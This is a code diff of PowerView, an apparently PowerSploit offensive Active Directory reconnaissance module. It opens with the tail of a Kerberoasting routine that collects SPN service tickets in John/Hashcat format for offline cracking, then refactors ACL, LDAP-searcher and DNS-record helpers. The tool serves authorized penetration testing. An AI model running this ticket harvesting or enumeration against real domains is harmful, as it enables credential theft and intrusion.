+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
+ [String]
+ $Server,
+
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
+ [String]
+ $SearchScope = 'Subtree',
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit,
[Switch]
- $Recurse
+ $Tombstone,
+
+ [ValidateSet('John', 'Hashcat')]
+ [Alias('Format')]
+ [String]
+ $OutputFormat = 'John',
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- begin {
+ BEGIN {
+ $UserSearcherArguments = @{
+ 'SPN' = $True
+ 'Properties' = 'samaccountname,distinguishedname,serviceprincipalname'
+ }
+ if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
+ if ($PSBoundParameters['LDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $LDAPFilter }
+ if ($PSBoundParameters['SearchBase']) { $UserSearcherArguments['SearchBase'] = $SearchBase }
+ if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
+ if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
+ if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
+ if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
+ if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
+ if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
- function Convert-FileRight {
+ if ($PSBoundParameters['Credential']) {
+ $LogonToken = Invoke-UserImpersonation -Credential $Credential
+ }
+ }
+
+ PROCESS {
+ if ($PSBoundParameters['Identity']) { $UserSearcherArguments['Identity'] = $Identity }
+ Get-DomainUser @UserSearcherArguments | Where-Object {$_.samaccountname -ne 'krbtgt'} | Get-DomainSPNTicket -OutputFormat $OutputFormat
+ }
+
+ END {
+ if ($LogonToken) {
+ Invoke-RevertToSelf -TokenHandle $LogonToken
+ }
+ }
+}
+
+
+function Get-PathAcl {
+<#
+.SYNOPSIS
+
+Enumerates the ACL for a given file path.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertFrom-SID
+
+.DESCRIPTION
+
+Enumerates the ACL for a specified file/folder path, and translates
+the access rules for each entry into readable formats. If -Credential is passed,
+Add-RemoteConnection/Remove-RemoteConnection is used to temporarily map the remote share.
+
+.PARAMETER Path
+
+Specifies the local or remote path to enumerate the ACLs for.
+
+.PARAMETER Credential
+
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target path.
+
+.EXAMPLE
+
+Get-PathAcl "\\SERVER\Share\"
+
+Returns ACLs for the given UNC share.
+
+.EXAMPLE
+
+gci .\test.txt | Get-PathAcl
+
+.EXAMPLE
+
+$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
+$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword)
+Get-PathAcl -Path "\\SERVER\Share\" -Credential $Cred
+
+.INPUTS
+
+String
+
+One of more paths to enumerate ACLs for.
+
+.OUTPUTS
- # From http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
+PowerView.FileACL
+A custom object with the full path and associated ACL entries.
+
+.LINK
+
+https://support.microsoft.com/en-us/kb/305144
+#>
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('PowerView.FileACL')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
+ [Alias('FullName')]
+ [String[]]
+ $Path,
+
+ [Management.Automation.PSCredential]
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
+ )
+
+ BEGIN {
+
+ function Convert-FileRight {
+ # From Ansgar Wiechers at http://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
[CmdletBinding()]
- param(
+ Param(
[Int]
$FSR
)
$AccessMask = @{
- [uint32]'0x80000000' = 'GenericRead'
- [uint32]'0x40000000' = 'GenericWrite'
- [uint32]'0x20000000' = 'GenericExecute'
- [uint32]'0x10000000' = 'GenericAll'
- [uint32]'0x02000000' = 'MaximumAllowed'
- [uint32]'0x01000000' = 'AccessSystemSecurity'
- [uint32]'0x00100000' = 'Synchronize'
- [uint32]'0x00080000' = 'WriteOwner'
- [uint32]'0x00040000' = 'WriteDAC'
- [uint32]'0x00020000' = 'ReadControl'
- [uint32]'0x00010000' = 'Delete'
- [uint32]'0x00000100' = 'WriteAttributes'
- [uint32]'0x00000080' = 'ReadAttributes'
- [uint32]'0x00000040' = 'DeleteChild'
- [uint32]'0x00000020' = 'Execute/Traverse'
- [uint32]'0x00000010' = 'WriteExtendedAttributes'
- [uint32]'0x00000008' = 'ReadExtendedAttributes'
- [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
- [uint32]'0x00000002' = 'WriteData/AddFile'
- [uint32]'0x00000001' = 'ReadData/ListDirectory'
+ [uint32]'0x80000000' = 'GenericRead'
+ [uint32]'0x40000000' = 'GenericWrite'
+ [uint32]'0x20000000' = 'GenericExecute'
+ [uint32]'0x10000000' = 'GenericAll'
+ [uint32]'0x02000000' = 'MaximumAllowed'
+ [uint32]'0x01000000' = 'AccessSystemSecurity'
+ [uint32]'0x00100000' = 'Synchronize'
+ [uint32]'0x00080000' = 'WriteOwner'
+ [uint32]'0x00040000' = 'WriteDAC'
+ [uint32]'0x00020000' = 'ReadControl'
+ [uint32]'0x00010000' = 'Delete'
+ [uint32]'0x00000100' = 'WriteAttributes'
+ [uint32]'0x00000080' = 'ReadAttributes'
+ [uint32]'0x00000040' = 'DeleteChild'
+ [uint32]'0x00000020' = 'Execute/Traverse'
+ [uint32]'0x00000010' = 'WriteExtendedAttributes'
+ [uint32]'0x00000008' = 'ReadExtendedAttributes'
+ [uint32]'0x00000004' = 'AppendData/AddSubdirectory'
+ [uint32]'0x00000002' = 'WriteData/AddFile'
+ [uint32]'0x00000001' = 'ReadData/ListDirectory'
}
$SimplePermissions = @{
- [uint32]'0x1f01ff' = 'FullControl'
- [uint32]'0x0301bf' = 'Modify'
- [uint32]'0x0200a9' = 'ReadAndExecute'
- [uint32]'0x02019f' = 'ReadAndWrite'
- [uint32]'0x020089' = 'Read'
- [uint32]'0x000116' = 'Write'
+ [uint32]'0x1f01ff' = 'FullControl'
+ [uint32]'0x0301bf' = 'Modify'
+ [uint32]'0x0200a9' = 'ReadAndExecute'
+ [uint32]'0x02019f' = 'ReadAndWrite'
+ [uint32]'0x020089' = 'Read'
+ [uint32]'0x000116' = 'Write'
}
$Permissions = @()
# get simple permission
- $Permissions += $SimplePermissions.Keys | % {
+ $Permissions += $SimplePermissions.Keys | ForEach-Object {
if (($FSR -band $_) -eq $_) {
$SimplePermissions[$_]
$FSR = $FSR -band (-not $_)
@@ -1475,134 +2659,89 @@ function Get-PathAcl {
}
# get remaining extended permissions
- $Permissions += $AccessMask.Keys |
- ? { $FSR -band $_ } |
- % { $AccessMask[$_] }
-
- ($Permissions | ?{$_}) -join ","
+ $Permissions += $AccessMask.Keys | Where-Object { $FSR -band $_ } | ForEach-Object { $AccessMask[$_] }
+ ($Permissions | Where-Object {$_}) -join ','
}
- }
-
- process {
-
- try {
- $ACL = Get-Acl -Path $Path
-
- $ACL.GetAccessRules($true,$true,[System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
- $Names = @()
- if ($_.IdentityReference -match '^S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+') {
- $Object = Get-ADObject -SID $_.IdentityReference
- $Names = @()
- $SIDs = @($Object.objectsid)
+ $ConvertArguments = @{}
+ if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
- if ($Recurse -and (@('268435456','268435457','536870912','536870913') -contains $Object.samAccountType)) {
- $SIDs += Get-NetGroupMember -SID $Object.objectsid | Select-Object -ExpandProperty MemberSid
- }
+ $MappedComputers = @{}
+ }
- $SIDs | ForEach-Object {
- $Names += ,@($_, (Convert-SidToName $_))
+ PROCESS {
+ ForEach ($TargetPath in $Path) {
+ try {
+ if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
+ $HostComputer = (New-Object System.Uri($TargetPath)).Host
+ if (-not $MappedComputers[$HostComputer]) {
+ # map IPC$ to this computer if it's not already
+ Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
+ $MappedComputers[$HostComputer] = $True
}
}
- else {
- $Names += ,@($_.IdentityReference.Value, (Convert-SidToName $_.IdentityReference.Value))
- }
- ForEach($Name in $Names) {
+ $ACL = Get-Acl -Path $TargetPath
+
+ $ACL.GetAccessRules($True, $True, [System.Security.Principal.SecurityIdentifier]) | ForEach-Object {
+ $SID = $_.IdentityReference.Value
+ $Name = ConvertFrom-SID -ObjectSID $SID @ConvertArguments
+
$Out = New-Object PSObject
- $Out | Add-Member Noteproperty 'Path' $Path
+ $Out | Add-Member Noteproperty 'Path' $TargetPath
$Out | Add-Member Noteproperty 'FileSystemRights' (Convert-FileRight -FSR $_.FileSystemRights.value__)
- $Out | Add-Member Noteproperty 'IdentityReference' $Name[1]
- $Out | Add-Member Noteproperty 'IdentitySID' $Name[0]
+ $Out | Add-Member Noteproperty 'IdentityReference' $Name
+ $Out | Add-Member Noteproperty 'IdentitySID' $SID
$Out | Add-Member Noteproperty 'AccessControlType' $_.AccessControlType
+ $Out.PSObject.TypeNames.Insert(0, 'PowerView.FileACL')
$Out
}
}
- }
- catch {
- Write-Warning $_
+ catch {
+ Write-Verbose "[Get-PathAcl] error: $_"
+ }
}
}
+
+ END {
+ # remove the IPC$ mappings
+ $MappedComputers.Keys | Remove-RemoteConnection
+ }
}
-filter Get-NameField {
+function Convert-LDAPProperty {
<#
- .SYNOPSIS
-
- Helper that attempts to extract appropriate field names from
- passed computer objects.
-
- .PARAMETER Object
-
- The passed object to extract name fields from.
+.SYNOPSIS
- .PARAMETER DnsHostName
-
- A DnsHostName to extract through ValueFromPipelineByPropertyName.
+Helper that converts specific LDAP property result fields and outputs
+a custom psobject.
- .PARAMETER Name
-
- A Name to extract through ValueFromPipelineByPropertyName.
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
- .EXAMPLE
-
- PS C:\> Get-NetComputer -FullData | Get-NameField
-#>
- [CmdletBinding()]
- param(
- [Parameter(ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
- [Object]
- $Object,
-
- [Parameter(ValueFromPipelineByPropertyName = $True)]
- [String]
- $DnsHostName,
+.DESCRIPTION
- [Parameter(ValueFromPipelineByPropertyName = $True)]
- [String]
- $Name
- )
+Converts a set of raw LDAP properties results from ADSI/LDAP searches
+into a proper PSObject. Used by several of the Get-Domain* function.
- if($PSBoundParameters['DnsHostName']) {
- $DnsHostName
- }
- elseif($PSBoundParameters['Name']) {
- $Name
- }
- elseif($Object) {
- if ( [bool]($Object.PSobject.Properties.name -match "dnshostname") ) {
- # objects from Get-NetComputer
- $Object.dnshostname
- }
- elseif ( [bool]($Object.PSobject.Properties.name -match "name") ) {
- # objects from Get-NetDomainController
- $Object.name
- }
- else {
- # strings and catch alls
- $Object
- }
- }
- else {
- return $Null
- }
-}
+.PARAMETER Properties
+Properties object to extract out LDAP fields for display.
-function Convert-LDAPProperty {
-<#
- .SYNOPSIS
-
- Helper that converts specific LDAP property result fields.
- Used by several of the Get-Net* function.
+.OUTPUTS
- .PARAMETER Properties
+System.Management.Automation.PSCustomObject
- Properties object to extract out LDAP fields for display.
+A custom PSObject with LDAP hashtable properties translated.
#>
- param(
- [Parameter(Mandatory=$True, ValueFromPipeline=$True)]
+
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('System.Management.Automation.PSCustomObject')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[ValidateNotNullOrEmpty()]
$Properties
)
@@ -1610,857 +2749,1673 @@ function Convert-LDAPProperty {
$ObjectProperties = @{}
$Properties.PropertyNames | ForEach-Object {
- if (($_ -eq "objectsid") -or ($_ -eq "sidhistory")) {
- # convert the SID to a string
- $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0],0)).Value
- }
- elseif($_ -eq "objectguid") {
- # convert the GUID to a string
- $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
- }
- elseif( ($_ -eq "lastlogon") -or ($_ -eq "lastlogontimestamp") -or ($_ -eq "pwdlastset") -or ($_ -eq "lastlogoff") -or ($_ -eq "badPasswordTime") ) {
- # convert timestamps
- if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
- # if we have a System.__ComObject
- $Temp = $Properties[$_][0]
- [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
- [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
- $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
+ if ($_ -ne 'adspath') {
+ if (($_ -eq 'objectsid') -or ($_ -eq 'sidhistory')) {
+ # convert the SID to a string
+ $ObjectProperties[$_] = (New-Object System.Security.Principal.SecurityIdentifier($Properties[$_][0], 0)).Value
+ }
+ elseif ($_ -eq 'objectguid') {
+ # convert the GUID to a string
+ $ObjectProperties[$_] = (New-Object Guid (,$Properties[$_][0])).Guid
+ }
+ elseif ($_ -eq 'ntsecuritydescriptor') {
+ # $ObjectProperties[$_] = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
+ $Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Properties[$_][0], 0
+ if ($Descriptor.Owner) {
+ $ObjectProperties['Owner'] = $Descriptor.Owner
+ }
+ if ($Descriptor.Group) {
+ $ObjectProperties['Group'] = $Descriptor.Group
+ }
+ if ($Descriptor.DiscretionaryAcl) {
+ $ObjectProperties['DiscretionaryAcl'] = $Descriptor.DiscretionaryAcl
+ }
+ if ($Descriptor.SystemAcl) {
+ $ObjectProperties['SystemAcl'] = $Descriptor.SystemAcl
+ }
}
- else {
- $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
+ elseif ( ($_ -eq 'lastlogon') -or ($_ -eq 'lastlogontimestamp') -or ($_ -eq 'pwdlastset') -or ($_ -eq 'lastlogoff') -or ($_ -eq 'badPasswordTime') ) {
+ # convert timestamps
+ if ($Properties[$_][0] -is [System.MarshalByRefObject]) {
+ # if we have a System.__ComObject
+ $Temp = $Properties[$_][0]
+ [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
+ [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
+ $ObjectProperties[$_] = ([datetime]::FromFileTime([Int64]("0x{0:x8}{1:x8}" -f $High, $Low)))
+ }
+ else {
+ # otherwise just a string
+ $ObjectProperties[$_] = ([datetime]::FromFileTime(($Properties[$_][0])))
+ }
}
- }
- elseif($Properties[$_][0] -is [System.MarshalByRefObject]) {
- # try to convert misc com objects
- $Prop = $Properties[$_]
- try {
- $Temp = $Prop[$_][0]
- Write-Verbose $_
- [Int32]$High = $Temp.GetType().InvokeMember("HighPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
- [Int32]$Low = $Temp.GetType().InvokeMember("LowPart", [System.Reflection.BindingFlags]::GetProperty, $null, $Temp, $null)
- $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
+ elseif ($Properties[$_][0] -is [System.MarshalByRefObject]) {
+ # try to convert misc com objects
+ $Prop = $Properties[$_]
+ try {
+ $Temp = $Prop[$_][0]
+ [Int32]$High = $Temp.GetType().InvokeMember('HighPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
+ [Int32]$Low = $Temp.GetType().InvokeMember('LowPart', [System.Reflection.BindingFlags]::GetProperty, $Null, $Temp, $Null)
+ $ObjectProperties[$_] = [Int64]("0x{0:x8}{1:x8}" -f $High, $Low)
+ }
+ catch {
+ Write-Verbose "[Convert-LDAPProperty] error: $_"
+ $ObjectProperties[$_] = $Prop[$_]
+ }
}
- catch {
- $ObjectProperties[$_] = $Prop[$_]
+ elseif ($Properties[$_].count -eq 1) {
+ $ObjectProperties[$_] = $Properties[$_][0]
+ }
+ else {
+ $ObjectProperties[$_] = $Properties[$_]
}
- }
- elseif($Properties[$_].count -eq 1) {
- $ObjectProperties[$_] = $Properties[$_][0]
- }
- else {
- $ObjectProperties[$_] = $Properties[$_]
}
}
-
- New-Object -TypeName PSObject -Property $ObjectProperties
+ try {
+ New-Object -TypeName PSObject -Property $ObjectProperties
+ }
+ catch {
+ Write-Warning "[Convert-LDAPProperty] Error parsing LDAP properties : $_"
+ }
}
-
########################################################
#
# Domain info functions below.
#
########################################################
-filter Get-DomainSearcher {
+function Get-DomainSearcher {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Helper used by various functions that builds a custom AD searcher object.
+
+Author: Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: Get-Domain
+
+.DESCRIPTION
+
+Takes a given domain and a number of customizations and returns a
+System.DirectoryServices.DirectorySearcher object. This function is used
+heavily by other LDAP/ADSI searcher functions (Verb-Domain*).
+
+.PARAMETER Domain
+
+Specifies the domain to use for the query, defaults to the current domain.
+
+.PARAMETER LDAPFilter
+
+Specifies an LDAP query string that is used to filter Active Directory objects.
+
+.PARAMETER Properties
+
+Specifies the properties of the output object to retrieve from the server.
+
+.PARAMETER SearchBase
+
+The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
+Useful for OU queries.
+
+.PARAMETER SearchBasePrefix
+
+Specifies a prefix for the LDAP search string (i.e. "CN=Sites,CN=Configuration").
+
+.PARAMETER Server
+
+Specifies an Active Directory server (domain controller) to bind to for the search.
+
+.PARAMETER SearchScope
+
+Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
- Helper used by various functions that takes an ADSpath and
- domain specifier and builds the correct ADSI searcher object.
+.PARAMETER ResultPageSize
- .PARAMETER Domain
+Specifies the PageSize to set for the LDAP searcher object.
- The domain to use for the query, defaults to the current domain.
+.PARAMETER ResultPageSize
- .PARAMETER DomainController
+Specifies the PageSize to set for the LDAP searcher object.
- Domain controller to reflect LDAP queries through.
+.PARAMETER ServerTimeLimit
- .PARAMETER ADSpath
+Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
- The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+.PARAMETER SecurityMasks
- .PARAMETER ADSprefix
+Specifies an option for examining security information of a directory object.
+One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
- Prefix to set for the searcher (like "CN=Sites,CN=Configuration")
+.PARAMETER Tombstone
- .PARAMETER PageSize
+Switch. Specifies that the searcher should also return deleted/tombstoned objects.
- The PageSize to set for the LDAP searcher object.
+.PARAMETER Credential
- .PARAMETER Credential
+A [Management.Automation.PSCredential] object of alternate credentials
+for connection to the target domain.
- A [Management.Automation.PSCredential] object of alternate credentials
- for connection to the target domain.
+.EXAMPLE
- .EXAMPLE
+Get-DomainSearcher -Domain testlab.local
- PS C:\> Get-DomainSearcher -Domain testlab.local
+Return a searcher for all objects in testlab.local.
- .EXAMPLE
+.EXAMPLE
- PS C:\> Get-DomainSearcher -Domain testlab.local -DomainController SECONDARY.dev.testlab.local
+Get-DomainSearcher -Domain testlab.local -LDAPFilter '(samAccountType=805306368)' -Properties 'SamAccountName,lastlogon'
+
+Return a searcher for user objects in testlab.local and only return the SamAccountName and LastLogon properties.
+
+.EXAMPLE
+
+Get-DomainSearcher -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
+
+Return a searcher that searches through the specific ADS/LDAP search base (i.e. OU).
+
+.OUTPUTS
+
+System.DirectoryServices.DirectorySearcher
#>
- param(
- [Parameter(ValueFromPipeline=$True)]
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
+ [OutputType('System.DirectoryServices.DirectorySearcher')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(ValueFromPipeline = $True)]
+ [ValidateNotNullOrEmpty()]
[String]
$Domain,
+ [ValidateNotNullOrEmpty()]
+ [Alias('Filter')]
[String]
- $DomainController,
+ $LDAPFilter,
+ [ValidateNotNullOrEmpty()]
+ [String[]]
+ $Properties,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('ADSPath')]
+ [String]
+ $SearchBase,
+
+ [ValidateNotNullOrEmpty()]
+ [String]
+ $SearchBasePrefix,
+
+ [ValidateNotNullOrEmpty()]
+ [Alias('DomainController')]
[String]
- $ADSpath,
+ $Server,
+ [ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
- $ADSprefix,
+ $SearchScope = 'Subtree',
- [ValidateRange(1,10000)]
+ [ValidateRange(1, 10000)]
[Int]
- $PageSize = 200,
+ $ResultPageSize = 200,
+
+ [ValidateRange(1, 10000)]
+ [Int]
+ $ServerTimeLimit = 120,
+
+ [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
+ [String]
+ $SecurityMasks,
+
+ [Switch]
+ $Tombstone,
[Management.Automation.PSCredential]
- $Credential
+ [Management.Automation.CredentialAttribute()]
+ $Credential = [Management.Automation.PSCredential]::Empty
)
- if(-not $Credential) {
- if(-not $Domain) {
- $Domain = (Get-NetDomain).name
+ PROCESS {
+ if ($PSBoundParameters['Domain']) {
+ $TargetDomain = $Domain
}
- elseif(-not $DomainController) {
+ else {
+ # if not -Domain is specified, retrieve the current domain name
+ if ($PSBoundParameters['Credential']) {
+ $DomainObject = Get-Domain -Credential $Credential
+ }
+ else {
+ $DomainObject = Get-Domain
+ }
+ $TargetDomain = $DomainObject.Name
+ }
+
+ if (-not $PSBoundParameters['Server']) {
+ # if there's not a specified server to bind to, try to pull the current domain PDC
try {
- # if there's no -DomainController specified, try to pull the primary DC to reflect queries through
- $DomainController = ((Get-NetDomain).PdcRoleOwner).Name
+ if ($DomainObject) {
+ $BindServer = $DomainObject.PdcRoleOwner.Name
+ }
+ elseif ($PSBoundParameters['Credential']) {
+ $BindServer = ((Get-Domain -Credential $Credential).PdcRoleOwner).Name
+ }
+ else {
+ $BindServer = ((Get-Domain).PdcRoleOwner).Name
+ }
}
catch {
- throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
+ throw "[Get-DomainSearcher] Error in retrieving PDC for current domain: $_"
}
}
- }
- elseif (-not $DomainController) {
- # if a DC isn't specified
- try {
- $DomainController = ((Get-NetDomain -Credential $Credential).PdcRoleOwner).Name
- }
- catch {
- throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
- }
-
- if(!$DomainController) {
- throw "Get-DomainSearcher: Error in retrieving PDC for current domain"
+ else {
+ $BindServer = $Server
}
- }
- $SearchString = "LDAP://"
+ $SearchString = 'LDAP://'
- if($DomainController) {
- $SearchString += $DomainController
- if($Domain){
- $SearchString += '/'
+ if ($BindServer -and ($BindServer.Trim() -ne '')) {
+ $SearchString += $BindServer
+ if ($TargetDomain) {
+ $SearchString += '/'
+ }
}
- }
-
- if($ADSprefix) {
- $SearchString += $ADSprefix + ','
- }
- if($ADSpath) {
- if($ADSpath -Match '^GC://') {
- # if we're searching the global catalog
- $DN = $AdsPath.ToUpper().Trim('/')
- $SearchString = ''
+ if ($PSBoundParameters['SearchBasePrefix']) {
+ $SearchString += $SearchBasePrefix + ','
}
- else {
- if($ADSpath -match '^LDAP://') {
- if($ADSpath -match "LDAP://.+/.+") {
- $SearchString = ''
+
+ if ($PSBoundParameters['SearchBase']) {
+ if ($SearchBase -Match '^GC://') {
+ # if we're searching the global catalog, get the path in the right format
+ $DN = $SearchBase.ToUpper().Trim('/')
+ $SearchString = ''
+ }
+ else {
+ if ($SearchBase -match '^LDAP://') {
+ if ($SearchBase -match "LDAP://.+/.+") {
+ $SearchString = ''
+ $DN = $SearchBase
+ }
+ else {
+ $DN = $SearchBase.SubString(7)
+ }
}
else {
- $ADSpath = $ADSpath.Substring(7)
+ $DN = $SearchBase
}
}
- $DN = $ADSpath
}
- }
- else {
- if($Domain -and ($Domain.Trim() -ne "")) {
- $DN = "DC=$($Domain.Replace('.', ',DC='))"
+ else {
+ # transform the target domain name into a distinguishedName if an ADS search base is not specified
+ if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
+ $DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
+ }
}
- }
- $SearchString += $DN
- Write-Verbose "Get-DomainSearcher search string: $SearchString"
+ $SearchString += $DN
+ Write-Verbose "[Get-DomainSearcher] search string: $SearchString"
- if($Credential) {
- Write-Verbose "Using alternate credentials for LDAP connection"
- $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
- $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
- }
- else {
- $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
- }
+ if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
+ Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
+ # bind to the inital search object using alternate credentials
+ $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
+ $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
+ }
+ else {
+ # bind to the inital object using the current credentials
+ $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
+ }
+
+ $Searcher.PageSize = $ResultPageSize
+ $Searcher.SearchScope = $SearchScope
+ $Searcher.CacheResults = $False
+ $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
+
+ if ($PSBoundParameters['ServerTimeLimit']) {
+ $Searcher.ServerTimeLimit = $ServerTimeLimit
+ }
+
+ if ($PSBoundParameters['Tombstone']) {
+ $Searcher.Tombstone = $True
+ }
- $Searcher.PageSize = $PageSize
- $Searcher.CacheResults = $False
- $Searcher
+ if ($PSBoundParameters['LDAPFilter']) {
+ $Searcher.filter = $LDAPFilter
+ }
+
+ if ($PSBoundParameters['SecurityMasks']) {
+ $Searcher.SecurityMasks = Switch ($SecurityMasks) {
+ 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
+ 'Group' { [System.DirectoryServices.SecurityMasks]::Group }
+ 'None' { [System.DirectoryServices.SecurityMasks]::None }
+ 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
+ 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
+ }
+ }
+
+ if ($PSBoundParameters['Properties']) {
+ # handle an array of properties to load w/ the possibility of comma-separated strings
+ $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
+ $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
+ }
+
+ $Searcher
+ }
}
-filter Convert-DNSRecord {
+function Convert-DNSRecord {
<#
- .SYNOPSIS
+.SYNOPSIS
+
+Helpers that decodes a binary DNS record blob.
+
+Author: Michael B. Smith, Will Schroeder (@harmj0y)
+License: BSD 3-Clause
+Required Dependencies: None
- Decodes a binary DNS record.
+.DESCRIPTION
- Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
+Decodes a binary blob representing an Active Directory DNS entry.
+Used by Get-DomainDNSRecord.
- .PARAMETER DNSRecord
+Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
- The domain to query for zones, defaults to the current domain.
+.PARAMETER DNSRecord
- .LINK
+A byte array representing the DNS record.
- https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
+.OUTPUTS
+
+System.Management.Automation.PSCustomObject
+
+Outputs custom PSObjects with detailed information about the DNS record entry.
+
+.LINK
+
+https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
#>
- param(
- [Parameter(Position=0, ValueFromPipelineByPropertyName=$True, Mandatory=$True)]
+
+ [OutputType('System.Management.Automation.PSCustomObject')]
+ [CmdletBinding()]
+ Param(
+ [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
[Byte[]]
$DNSRecord
)
- function Get-Name {
- # modified decodeName from https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
- [CmdletBinding()]
- param(
- [Byte[]]
- $Raw
- )
+ BEGIN {
+ function Get-Name {
+ [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')]
+ [CmdletBinding()]
+ Param(
+ [Byte[]]
+ $Raw
+ )
- [Int]$Length = $Raw[0]
- [Int]$Segments = $Raw[1]
- [Int]$Index = 2
- [String]$Name = ""
+ [Int]$Length = $Raw[0]
+ [Int]$Segments = $Raw[1]
+ [Int]$Index = 2
+ [String]$Name = ''
- while ($Segments-- -gt 0)
- {
- [Int]$SegmentLength = $Raw[$Index++]
- while ($SegmentLength-- -gt 0) {
- $Name += [Char]$Raw[$Index++]
+ while ($Segments-- -gt 0)
+ {
